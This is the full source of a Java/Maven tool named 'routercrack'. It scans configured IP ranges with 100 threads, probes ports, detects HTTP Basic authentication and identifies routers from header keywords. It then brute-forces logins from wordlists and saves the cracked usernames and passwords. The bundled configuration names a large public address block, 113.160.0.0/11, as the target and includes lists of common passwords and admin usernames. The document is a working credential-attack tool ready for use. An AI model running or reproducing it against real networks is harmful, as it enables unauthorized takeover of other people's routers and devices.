package cn.com.cisec.routercrack;import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;public class App {private static String tag  = App.class.getSimpleName();/*** ping超时时间*/public static int pingTimeout = 5000;/*** socket链接超时时间*/public static int socketTimeout =5000;/*** http请求超时时间*/public static int httpTimeout =5000;/*** 线程数量*/public static int threadCount =100;public static List<Integer> ports ;public static List<String> routerInfo ;public static void main(String[] args) {//MainFrame.createAndShowGUI();start();//开始执行破解线程
    }/*** 开始破解*/public static void start(){initConfig();List<Thread> list = new ArrayList<Thread>();for (int i = 0; i < threadCount; i++) {Thread t  =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);list.add(t);t.start();}//等待线程执行完毕for(Thread t : list){try {t.join();} catch (InterruptedException e) {// TODO Auto-generated catch block
                e.printStackTrace();}}// new CrackThread().start();//线程执行结束需要关闭打开的文件
        CrackThread.writer.close();LogUtil.i(tag, "程序结束");}/*** 初始化配置文件*/public static void initConfig(){Properties p = null;try {InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));p = new Properties();        p.load(in);threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());String portsString  = p.getProperty("ports", "80").trim();String[] portArray =  portsString.split(",");ports=new ArrayList<Integer>();for(String portSting:portArray){ports.add(Integer.parseInt(portSting));}String routerInfoString  = p.getProperty("routerInfo","route,Router,TD").trim();String[] routerInfoArray =  routerInfoString.split(",");routerInfo = new ArrayList<String>();for(String routerStr:routerInfoArray){routerInfo.add(routerStr);}} catch (Exception e) {//e.printStackTrace();LogUtil.i(tag, "读取配置文件失败,使用默认配置");//System.exit(0);ports=new ArrayList<Integer>();ports.add(80);routerInfo = new ArrayList<String>();routerInfo.add("router");}       }
}

package cn.com.cisec.routercrack;import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;public class ConfigFileReader {private static String tag =ConfigFileReader.class.getSimpleName();/***用户名配置文件*/private BufferedReader userReader;/*** 密码配置文件*/private BufferedReader  passwordReader;public ConfigFileReader(){File userConfigFile =FileUtil.getUserConfigFile();File passwordConfigFile = FileUtil.getPasswordConfigFile();try {userReader = new BufferedReader(new FileReader(userConfigFile));passwordReader = new BufferedReader(new FileReader(passwordConfigFile));} catch (FileNotFoundException e) {LogUtil.i(tag, "用户名或密码配置文件没有找到，请检查config目录下是否存在配置文件");e.printStackTrace();}}/*** 获取用户名* * @return 如果为null则读取结束*/public String getUser(){String user=null;try {user = userReader.readLine();if(user==null){userReader.close();}} catch (IOException e) {e.printStackTrace();}return user;}/*** 获取密码* * @return 如果为null则读取结束*/public String getPassword(){String password=null;try {password = passwordReader.readLine();if(password==null){passwordReader.close();}} catch (IOException e) {// TODO Auto-generated catch block
            e.printStackTrace();}return password;}public void close(){try {passwordReader.close();userReader.close();} catch (IOException e) {// TODO Auto-generated catch block
            e.printStackTrace();}}
}

package cn.com.cisec.routercrack;import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;import org.apache.commons.codec.binary.Base64;
import org.apache.http.Header;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.impl.conn.BasicHttpClientConnectionManager;public class CrackThread extends Thread {private static String tag = CrackThread.class.getSimpleName();private static int count = 0;private boolean isStop = false;/*** 记录是哪个线程*/private int who;private static IpFactory ipFactory = IpFactory.getInstance();public static ResultFileWriter writer = ResultFileWriter.getInstance();/*** ping测试的超时时间*/private int pingTimeout;/*** socket链接测试的超时时间*/private int socketTimeout;/*** 是路由器的标示*/public  List<String> routerInfo ;/*** http请求超时时间*/private int httpTimeout;/*** 需要扫描的端口号*/public  List<Integer> ports ;public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {count++;who = count;this.pingTimeout=pingTimeout;this.socketTimeout=socketTimeout;this.ports=ports;this.routerInfo =routerInfo;this.httpTimeout=httpTimeout;}@Overridepublic void run() {while (!isStop) {String ip = ipFactory.getIp();if (ip == null) {isStop = true;} else {//LogUtil.i("CrackThread" + who,"获取ip地址："+ ip);boolean isPingOk  =isAddressAvailable(ip);if(isPingOk){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"可达");writer.writeActivateIp(ip);//测试端口是否可达for(int port:ports){boolean isPortOk = isPortAvailable(ip,port);if(isPortOk){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"开启");writer.writeOpenPortInfo(ip,port);Map<String,Object> basicInfo =getBasicInfo(ip,port);boolean isBasic = (boolean) basicInfo.get(IS_BASIC);if(isBasic){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");writer.writeBasicInfo(ip,port);String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息boolean isRouter =false;for(String info:routerInfo){if(headInfo.contains(info)){isRouter=true;break;}}if(isRouter){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器");writer.writeRouterInfo(ip, port);    }else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式不是路由器");}Map<String,Object> crackResultInfo = crackBasic(ip, port);boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);if(isCrackOk){String user  = (String) crackResultInfo.get(USERNAME_OK);String password  = (String) crackResultInfo.get(PASSWORD_OK);if(isRouter){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名："+user+",密码："+password);writer.writeRouterOkInfo(ip, port,user, password);    }else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名："+user+",密码："+password);writer.writeBasicOkInfo(ip, port,user, password,headInfo);}}else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解失败");}}else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");}/*boolean isBasic = isBasic(ip,port);if(isBasic){LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");writer.writeBasicInfo(ip,port);}else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");}*/}else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的"+"端口"+port+"未开启");}}}else{LogUtil.i("CrackThread" + who,"ip地址："+ ip+"不可达");}}/** try { sleep(3000); } catch (InterruptedException e) { // TODO* Auto-generated catch block e.printStackTrace(); }*/}}/*** basic反馈的信息长量*/private static final String IS_BASIC="isBasic";/*** 反馈的头信息*/private static final String WWW_AUTHENTICATE="WWW-Authenticate";/*** basic状态码*/private static final int BASIC_STATUSCODE=401;/*** 获取basic的相关信息* @param ip* @param port* @return 返回的map对象包含是否basic认证key=isBasic，basic认证的头部信息等key=WWW-Authenticate*/public Map<String,Object> getBasicInfo(String ip,int port){Map<String, Object> result  = new HashMap<String, Object>();HttpClientBuilder builder  =  HttpClientBuilder.create();BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);builder.setConnectionManager(connManager);HttpClient client  =  builder.build();HttpGet httpGet = new HttpGet("http://"+ip+":"+port);try {HttpResponse response = client.execute(httpGet);LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){result.put(IS_BASIC, true);Header[] hs = response.getHeaders(WWW_AUTHENTICATE);for(Header h:hs){String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息//LogUtil.d(tag,headInfo);//String[] infos = headInfo.split("\"");/*for(String i:infos){LogUtil.d(tag,i);}*/result.put(WWW_AUTHENTICATE, headInfo);}}else{result.put(IS_BASIC, false);}} catch (Exception e) {//e.printStackTrace();result.put(IS_BASIC, false);}return result;}/*** 认证basic的头*/private static final String AUTHORIZATION="Authorization";/*** 是否破解成功*/private static final String IS_CRACK_OK="is_crack_ok";private static final String USERNAME_OK ="user";private static final String PASSWORD_OK="password";/*** 对basic进行破解，成功反馈相关信息* @param ip* @param port* @return*/public Map<String,Object> crackBasic(String ip,int port){ConfigFileReader reader = new ConfigFileReader();boolean userReadOk =false;while(!userReadOk){String user = reader.getUser();if(user!=null){boolean passwordReadOk=false;    while(!passwordReadOk){String password  = reader.getPassword();if(password!=null){HttpClientBuilder builder  =  HttpClientBuilder.create();BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);builder.setConnectionManager(connManager);HttpClient client  =  builder.build();HttpGet httpGet = new HttpGet("http://"+ip+":"+port);String value=user+":"+password;value = Base64.encodeBase64String(value.getBytes());value="Basic "+value;LogUtil.d(tag, value);httpGet.setHeader(AUTHORIZATION, value);//Authorization:"Basic YWRtaW46MTIzcXdlMTIz"try {HttpResponse response = client.execute(httpGet);if(response.getStatusLine().getStatusCode()==200){Map<String,Object> result  = new HashMap<String, Object>();result.put(IS_CRACK_OK, true);result.put(USERNAME_OK,user);result.put(PASSWORD_OK, password);return result;}} catch (ClientProtocolException e) {// TODO Auto-generated catch block
                            e.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch block
                            e.printStackTrace();}}else{passwordReadOk=true;}}}else{userReadOk=true;}}Map<String,Object> result  = new HashMap<String, Object>();result.put(IS_CRACK_OK, false);return result;}/*** 判断是否basic认证* @param ip* @param port* @return*/public boolean isBasic(String ip,int port){int basicStatusCode=401;HttpClientBuilder builder  =  HttpClientBuilder.create();BasicHttpClientConnectionManager connManager =  new BasicHttpClientConnectionManager() ;connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);builder.setConnectionManager(connManager);HttpClient client  =  builder.build();HttpGet httpGet = new HttpGet("http://"+ip+":"+port);try {HttpResponse response = client.execute(httpGet);LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");if(basicStatusCode==response.getStatusLine().getStatusCode()){return true;}} catch (ClientProtocolException e) {// TODO Auto-generated catch block
            e.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch block
            e.printStackTrace();}return false;}/*** ip地址是否可达* @param ip* @return*/public boolean isAddressAvailable(String ip) {try {InetAddress address = InetAddress.getByName(ip);return address.isReachable(App.pingTimeout);} catch (UnknownHostException e) {// TODO Auto-generated catch block
            e.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch block
            e.printStackTrace();}return false;}/*** 端口是否开启* @param ip* @param port* @return*/public boolean isPortAvailable(String ip,int port){Socket socket = new Socket();SocketAddress endpoint;try {endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);socket.connect(endpoint,App.socketTimeout);socket.close();return true;} catch (Exception e) {//e.printStackTrace();return false;} }
}

package cn.com.cisec.routercrack;import java.io.File;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;public class FileUtil {  /** * syslog应用程序被打包成为jar包发布。在syslog服务中，需要在jar文件位置创建临时文件夹，以保存数据。 * 临时文件夹：1 读文件中，ftp到中央日志服务的文件，被放到临时文件夹后再读。 *          2 分析会后的日志，保存一个月。如果选择了备份，则把每天需要备份的文件移动到一个临时备份文件夹。 * 逻辑：如果getDirFromClassLoader()方法计算不出来path，就取System.getProperty("user.dir")用户工作目录 * */  public static String getJarDir(){  String path = getDirFromClassLoader();  if(path == null){  path = System.getProperty("user.dir");  }  return path;  }  /** * 从通过Class Loading计算路径： * 1 class文件通过jar包加载： * 如果为jar包，该包为d:/test/myProj.jar * 该方法返回d:/test这个目录（不受用户工作目录影响） * 提示：在jar包加载 的时候，通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径 * 2 class文件直接被加载： * 如果是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes * 该方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF * 即返回放class文件夹的上一层目录。 * */  private static String getDirFromClassLoader(){  try {  String path = FileUtil.class.getName().replace(".", "/");  path ="/"+path+".class";  URL url=FileUtil.class.getResource(path);  String jarUrl= url.getPath();  if(jarUrl.startsWith("file:")){  if(jarUrl.length()>5){  jarUrl = jarUrl.substring(5);  }  jarUrl = jarUrl.split("!")[0];  }else{  jarUrl = FileUtil.class.getResource("/").toString().substring(5);  }  File file = new File(jarUrl);  return file.getParent();  } catch (Exception e) {  }  return null;  }  /** * 找出指定目录及其子目录下，满足指定后缀的文件的绝对路径。 * 提示：方法中出现异常被内部捕获。 * @param dir 指定目录 * @param suffix 文件名后缀 *  * @throws IllegalArgumentException  * */  public static List<String> find(String dir,String suffix){  List<String> list = new ArrayList<String>();  try {  File file = new File(dir);  if(file.exists() && file.isDirectory()){  find(file, suffix, list);  }else{  throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir);  }  } catch (Exception e) {  e.getMessage();  }  return list;  }  /** * 递归遍历，查找满足后缀的文件 * @param dirFile 必须为一个存在的目录.不能为null * @param suffix * @param list 递归遍历目录记录满足后缀的文件的绝对路径。 * */  private static void find(File dirFile,String suffix,List<String> list){  if(dirFile.exists() && dirFile.isDirectory()){  File[] subFiles = dirFile.listFiles();  for(File subFile : subFiles) {  if(subFile.isDirectory()){  find(subFile, suffix, list);  }else{  String path = subFile.getAbsolutePath();  if(path.endsWith(suffix)){  list.add(path);  }  }  }  }else{  throw new IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath());  }  }  /*** 获得IP地址配置文件* @return*/public static File getIpConfigFile(){return new File(getJarDir()+"/config/","ips.txt");}/*** 获得用户名配置文件* @return*/public static File getUserConfigFile(){return new File(getJarDir()+"/config/","users.txt");}/*** 获得密码配置文件* @return*/public static File getPasswordConfigFile(){return new File(getJarDir()+"/config/","passwords.txt");}/*** 记录ping成功的ip* @return*/public static File getActivateIpsFile(){return new File(getJarDir()+"/result/","activityIps.txt");}/*** 记录打开端口的ip* @return*/public static File getOpenPortIpsFile(){return new File(getJarDir()+"/result/","openPortInfos.txt");}/*** 记录是basic认证的ip* @return*/public static File getBasicIpsFile(){return new File(getJarDir()+"/result/","basicInfos.txt");}  /*** 记录basic认证破解成功的ip 用户名和密码* @return*/public static File getBasicOkFile(){return new File(getJarDir()+"/result/","basicOkInfos.txt");}/*** 记录是basic认证但是路由的信息* @return*/public static File getRouterFile(){return new File(getJarDir()+"/result/","routerInfos.txt");}/*** 记录是basic认证是路由破解成功的信息* @return*/public static File getRouterOkFile(){return new File(getJarDir()+"/result/","routerOkInfos.txt");}public static File getConfigFile(){return new File(getJarDir()+"/config/","config.properties");}
}  

package cn.com.cisec.routercrack;import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class IpFactory {/*** IP地址配置文件路径*/private  File ipsFile;/*** 是否需要读取文件*/private boolean isRead=true;private long minIpValue;private long maxIpValue;private long currentIPValue;private static IpFactory factory=null;/*** 读取Ip地址配置文件*/private BufferedReader reader;private IpFactory(){ipsFile  = FileUtil.getIpConfigFile();try {reader  = new BufferedReader(new FileReader(ipsFile));} catch (FileNotFoundException e) {LogUtil.i("IpFactory","错误：IP地址配置文件没有找到！");System.exit(0);}}/*** 获取工厂实例* @return*/public static IpFactory getInstance(){if(factory==null){factory =  new IpFactory();}return factory;}/*** 加载IP配置文件中的数据到内存中* @return 如果加载完成返回false 否则为true*/private boolean loadIps(){try {String net  = reader.readLine();if(net==null){//reader.close();return false;}else{//读取到的内容不为NULLnet.replace(" ", "");if(IpUtil.isNet(net)){String ip  =net.substring(0, net.lastIndexOf("/"));int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));minIpValue = IpUtil.getMinIpValue(ip, mask);maxIpValue = IpUtil.getMaxIpValue(ip, mask);currentIPValue=minIpValue;//设置是否需要读取isRead=false;return true;}else if(IpUtil.isNetRange(net)){String[] ipArray  = net.split("-");long tmpMin = IpUtil.getIpValue(ipArray[0]);long tmpMax  =IpUtil.getIpValue(ipArray[1]);if(tmpMax>tmpMin){maxIpValue=tmpMax;minIpValue=tmpMin;currentIPValue=minIpValue;}else{maxIpValue=tmpMin;minIpValue=tmpMax;currentIPValue=tmpMax;    }isRead=false;return true;}else{//不是网络地址，从新读取return loadIps();}}} catch (IOException e) {LogUtil.i("IpFactory.loadIps()", "错误：无法读取IP地址配置文件！");//System.exit(0);return false;}}/*** 提供给线程获取IP地址* @return 返回null则读取完成*/public synchronized String getIp(){if(isRead){//是否需要读取ipif(!loadIps()){//读取完成return null;}}if(currentIPValue>=minIpValue&&currentIPValue<=maxIpValue){String ip  =IpUtil.valueToIp(currentIPValue);currentIPValue++;return ip;}else{isRead=true;return getIp();    }}
}

package cn.com.cisec.routercrack;import java.util.StringTokenizer;
import java.util.logging.LogManager;
import java.util.regex.Matcher;
import java.util.regex.Pattern;public class IpUtil {/*** 获得实际的掩码的值* * @param mask* @return*/public static long getMaskValue(int mask) {return ((long) Math.pow(2, mask) - 1) << (32 - mask);}/*** 获得掩码的反码的值* * @param mask* @return*/public static long getUnMaskValue(int mask) {return (long) (Math.pow(2, 32 - mask) - 1);}/*** 根据IP地址获得它对应的值* * @param ipAddress* @return*/public static long getIpValue(String ipAddress) {StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");int a = Integer.parseInt(tokenizer.nextToken());int b = Integer.parseInt(tokenizer.nextToken());int c = Integer.parseInt(tokenizer.nextToken());int d = Integer.parseInt(tokenizer.nextToken());// System.out.println(a+"."+b+"."+c+"."+d);LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."+ d);long value = 0;value = ((long) a) << 24;value += ((long) b) << 16;value += ((long) c) << 8;value += d;LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值：" + value);return value;}/*** 根据IP地址和掩码获得网络地址的值* * @param ipAddress* @param mask* @return*/public static long getNetValue(String ipAddress, int mask) {long ipValue = getIpValue(ipAddress);long maskValue = getMaskValue(mask);//System.out.println("========================="+ipValue);//System.out.println("============================"+maskValue);//System.out.println("========="+(ipValue & maskValue));return ipValue & maskValue;}/*** 获得最小的IP地址的值* * @param ipAddress* @param mask* @return*/public static long getMinIpValue(String ipAddress, int mask) {if (mask >= 0 && mask <= 32) {if (isIp(ipAddress)) {//return getNetValue(ipAddress, mask) + 1;return getNetValue(ipAddress, mask);} else {new IllegalArgumentException("错误：Ip格式不正确");}} else {new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");}return -1;}/*** 获得最大的IP的值* * @param ipAddress* @param mask* @return*/public static long getMaxIpValue(String ipAddress, int mask) {if (mask >= 0 && mask <= 32) {if (isIp(ipAddress)) {//System.out.println("===="+getNetValue(ipAddress, mask));//System.out.println("===="+getUnMaskValue(mask));//return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;return getNetValue(ipAddress, mask)+getUnMaskValue(mask);} else {new IllegalArgumentException("错误：Ip格式不正确");}} else {new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");}return -1;}/*** 判断是否为IP地址* * @param ipAddress* @return*/public static boolean isIp(String ipAddress) {String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";Pattern p = Pattern.compile(regex);  Matcher m = p.matcher(ipAddress);if(m.matches()){StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");int a = Integer.parseInt(tokenizer.nextToken());int b = Integer.parseInt(tokenizer.nextToken());int c = Integer.parseInt(tokenizer.nextToken());int d = Integer.parseInt(tokenizer.nextToken());if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){return true;}else{return false;}}else{return false;}}/*** 判断是否网络* @param net* @return*/public static boolean isNet(String net){String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$";Pattern p = Pattern.compile(regex);  Matcher m = p.matcher(net);if(m.matches()){String ip  =net.substring(0, net.lastIndexOf("/"));LogUtil.d("IpUtil.isNet()", "ip地址："+ip);if(isIp(ip)){int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));if(mask>=0&&mask<=32){return true;}else{return false;}}else{return false;}}else{return false;}}/*** 是网络范围192.168.1.1-192.168.1.254* @param net* @return*/public static boolean isNetRange(String net) {String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";Pattern p = Pattern.compile(regex);  Matcher m = p.matcher(net);if(m.matches()){String[] ipArray  = net.split("-");if(isIp(ipArray[0])&&isIp(ipArray[1])){return true;}else{return false;}}else{return false;}}/*** long转换为IP地址* @param value* @return*/public static String valueToIp(long value) {long maxValue = 4294967295L;if (value > maxValue) {new IllegalArgumentException("错误：超出最大的值");return null;} else {long a, b, c, d;a = (long) (value & 0x00000000ff000000) >> 24;b = (long) (value & 0x0000000000ff0000) >> 16;c = (long) (value & 0x000000000000ff00) >> 8;d = (long) (value & 0x00000000000000ff);return a + "." + b + "." + c + "." + d;}}}

package cn.com.cisec.routercrack;public class LogUtil {/*** 调试信息* @param tag* @param msg*/public static void d(String tag,String msg){//System.out.println(tag+"====>>"+msg);
    }/*** 输出信息* @param tag* @param msg*/public static void i(String tag,String msg){System.out.println(tag+"====>>"+msg);}
}

package cn.com.cisec.routercrack;import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;import javax.swing.GroupLayout;
import javax.swing.GroupLayout.Alignment;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;public class MainFrame extends JFrame  implements ActionListener {/*** */private static final long serialVersionUID = 765875537593801454L;public MainFrame() {super("路由破解");int frameWidth=800;//窗口宽度int frameHeight=600;//窗口高度Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间//主窗口布局BorderLayout layout = new BorderLayout();JPanel contentPanel = new JPanel(); contentPanel.setLayout(layout);//配置窗口JPanel configPanel = new JPanel(); JLabel label1=  new JLabel("test1");JLabel label2  = new JLabel("test2");JTextField tf1=new JTextField();JTextField tf2  = new JTextField();GroupLayout configPanelLayout  = new GroupLayout(configPanel);configPanel.setLayout(configPanelLayout);// Turn on automatically adding gaps between componentsconfigPanelLayout.setAutoCreateGaps(true);// Turn on automatically creating gaps between components that touch// the edge of the container and the container.configPanelLayout.setAutoCreateContainerGaps(true);// Create a sequential group for the horizontal axis.
GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup();// The sequential group in turn contains two parallel groups.// One parallel group contains the labels, the other the text fields.// Putting the labels in a parallel group along the horizontal axis// positions them at the same x location.//// Variable indentation is used to reinforce the level of grouping.
        hGroup.addGroup(configPanelLayout.createParallelGroup().addComponent(label1).addComponent(label2));hGroup.addGroup(configPanelLayout.createParallelGroup().addComponent(tf1).addComponent(tf2));configPanelLayout.setHorizontalGroup(hGroup);// Create a sequential group for the vertical axis.GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup();// The sequential group contains two parallel groups that align// the contents along the baseline. The first parallel group contains// the first label and text field, and the second parallel group contains// the second label and text field. By using a sequential group// the labels and text fields are positioned vertically after one another.
        vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).addComponent(label1).addComponent(tf1));vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).addComponent(label2).addComponent(tf2));configPanelLayout.setVerticalGroup(vGroup);        JPanel resultPanel = new JPanel(); contentPanel.add(configPanel, BorderLayout.CENTER);contentPanel.add(resultPanel, BorderLayout.SOUTH);setContentPane(contentPanel);}//React to menu selections.public void actionPerformed(ActionEvent e) {if ("new".equals(e.getActionCommand())) { //new// createFrame();} else { //quit
            quit();}}protected void quit() {System.exit(0);}public static void createAndShowGUI() {MainFrame frame = new MainFrame();frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);frame.setVisible(true);}
}

package cn.com.cisec.routercrack;import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;public class ResultFileWriter {private static ResultFileWriter resultFileWriter;/*** 激活的ip*/private PrintWriter activateIpsWriter;/*** 端口开启*/private PrintWriter openPortInfoWriter;/*** 是basic认证的IP地址*/private PrintWriter basicInfoWriter;/*** 破解basic成功的信息*/private PrintWriter basicOkInfoWriter;private PrintWriter routerInfoWriter;private PrintWriter routerOkInfoWriter;private ResultFileWriter(){File activateIpsFile  = FileUtil.getActivateIpsFile();File openPortIpsFile  = FileUtil.getOpenPortIpsFile();File basicIpsFile = FileUtil.getBasicIpsFile();File basicOkInfoFile = FileUtil.getBasicOkFile();try {activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));basicOkInfoWriter  = new PrintWriter(new FileWriter(basicOkInfoFile));routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));routerOkInfoWriter =  new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));} catch (IOException e) {// TODO Auto-generated catch block
            e.printStackTrace();}}public static ResultFileWriter getInstance(){if(resultFileWriter==null){resultFileWriter = new ResultFileWriter();}return resultFileWriter;}public synchronized void writeActivateIp(String ip){activateIpsWriter.println(ip);activateIpsWriter.flush();}public synchronized void writeOpenPortInfo(String ip,int port){openPortInfoWriter.println(ip+","+port);openPortInfoWriter.flush();}public synchronized void writeBasicInfo(String ip,int port){basicInfoWriter.println(ip+","+port);basicInfoWriter.flush();}public synchronized void writeBasicOkInfo(String ip,int port,String user,String password){basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);basicOkInfoWriter.flush();}public synchronized void writeRouterInfo(String ip,int port){routerInfoWriter.println(ip+","+port);routerInfoWriter.flush();}public synchronized void writeRouterOkInfo(String ip,int port,String user,String password){routerOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);routerOkInfoWriter.flush();}public void close(){activateIpsWriter.flush();activateIpsWriter.close();openPortInfoWriter.flush();openPortInfoWriter.close();basicInfoWriter.flush();basicInfoWriter.close();basicOkInfoWriter.flush();basicOkInfoWriter.close();routerOkInfoWriter.flush();routerOkInfoWriter.close();routerInfoWriter.flush();routerInfoWriter.close();}/*** 将IP地址 端口 用户名 密码 头信息写入文件* @param ip* @param port* @param user* @param password* @param headInfo*/public void writeBasicOkInfo(String ip, int port, String user,String password, String headInfo) {basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password+",headInfo="+headInfo);basicOkInfoWriter.flush();}
}

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>cn.com.cisec</groupId><artifactId>routercrack</artifactId><version>0.0.1-SNAPSHOT</version><packaging>jar</packaging><name>Routercrack</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>3.8.1</version><scope>test</scope></dependency><dependency><groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.17</version></dependency><dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpclient</artifactId><version>4.3.5</version></dependency><dependency><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>2.6</version></dependency></dependencies>
</project>

113.160.0.0/11

admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon

admin
administrator